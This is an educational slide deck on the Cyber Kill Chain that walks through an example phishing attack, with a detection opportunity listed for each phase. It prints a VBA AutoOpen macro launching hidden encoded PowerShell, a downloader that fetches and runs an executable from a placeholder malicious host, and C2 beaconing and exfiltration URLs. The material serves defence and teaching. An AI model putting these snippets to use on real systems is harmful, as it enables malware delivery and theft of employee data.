
CYBER
KILL
CHAIN

WHAT IS CYBER KILL CHAIN

The Cyber Kill Chain is a structured model that breaks down an attack into sequential phases from the attacker's initial reconnaissance to their final objectives. It helps defenders map detection and mitigation controls to attacker activities.

COMMON PHASES (ADAPTED FROM LOCKHEED MARTIN):

Reconnaissance - gather target information (people, emails, public infrastructure).

Weaponization - craft deliverable (malicious document, exploit kit, malware).

Delivery - send the weapon to the target (email, USB, web link).

Exploitation - exploit vulnerability or trick user (macro execution, exploit CVE).

Installation - install persistent malware or backdoor (services, scheduled tasks).

Command & Control (C2) - establish reliable channel to remote attacker.

Actions on Objectives - achieve mission (credential theft, lateral movement, exfiltration).

Mapping defensive controls to each phase enables early detection and reduces overall impact.



"TO BEAT ONE, YOU MUST THINK LIKE ONE."

Example Flow of an Attack:

>>Goal of the attacker: ***Exfiltrate HR spreadsheet containing employee PII.***

Attacker harvests employee emails from LinkedIn / other Source (Reconnaissance).

Attacker crafts a malicious MS Word document Offer_Letter.docm with a VBA macro that runs a Base64-encoded PowerShell one-liner (Weaponization).

Offer_Letter.docm is sent by email to an employee with subject "Your Offer Letter" (Delivery).

The user opens the document and enables macros (Exploitation via social engineering).

Macro invokes PowerShell which downloads and executes a lightweight implant (Installation).

Implant beacon to attacker HTTP C2 (C2) and receives commands to list directories and exfiltrate the HR file (Actions on Objectives).

Reconnaissance

Techniques: OSINT, LinkedIn scraping, public corporate site.

Artifacts defenders can collect: suspicious account interactions, new external accounts messaging employees, unusual IPs accessing public forms.

Weaponization

Offer_Letter.docm contains a VBA macro with a Base64 PowerShell payload.

Example (safe, truncated pseudo-code snippet shown for detection purposes only):

```
Sub AutoOpen()
Dim cmd As String
cmd = “powershell -NoProfile -WindowStyle Hidden -EncodedCommand <BASE64>”
Shell cmd, vbHide
End Sub
```

Base64 decodes to a PowerShell downloader like:

```
$u = ‘http://malicious[.]example/update.exe’
$path = “$env:TEMP\upd.exe”
Invoke-WebRequest -Uri $u -OutFile $path; Start-Process $path
```

Delivery

Delivery vector: Email with attachment, social-engineering body referencing HR.

Example email headers/logs to collect: Received, Message-ID, From, Return-Path, SPF/DKIM/DMARC results.

Exploitation

User enables macros and AutoOpen runs, invoking PowerShell. Detection opportunities:

>> Word process (WINWORD.EXE) spawning PowerShell.
>> Child process creation events.
>>Execution of -EncodedCommand or -NoProfile -WindowStyle Hidden flags.

Installation

Payload writes C:\Users\Public\upd.exe and registers a scheduled task OfficeUpdateTask for persistence.

Detection opportunities:

>> New files in ProgramData/Public or TEMP with executable extension.
>> New scheduled task creation.
>> Suspicious service or autorun entries.

Command & Control (C2)

Implant beacons to http://c2.malicious.example/heartbeat every 5 minutes.

Detection opportunities:

>> Unusual outbound HTTP(S) connections to rare domains or IPs from workstation process.
>> Periodic DNS A/AAAA lookups.

Actions on Objectives

Attacker issues commands to enumerate C:\Shares\HR\employees.xlsx and upload it to http://c2.../upload.

Detection opportunities:

>> Large outbound HTTP POSTs to uncommon hosts.
>> Windows API calls for file read operations by suspicious processes.

VERSION
MKYPT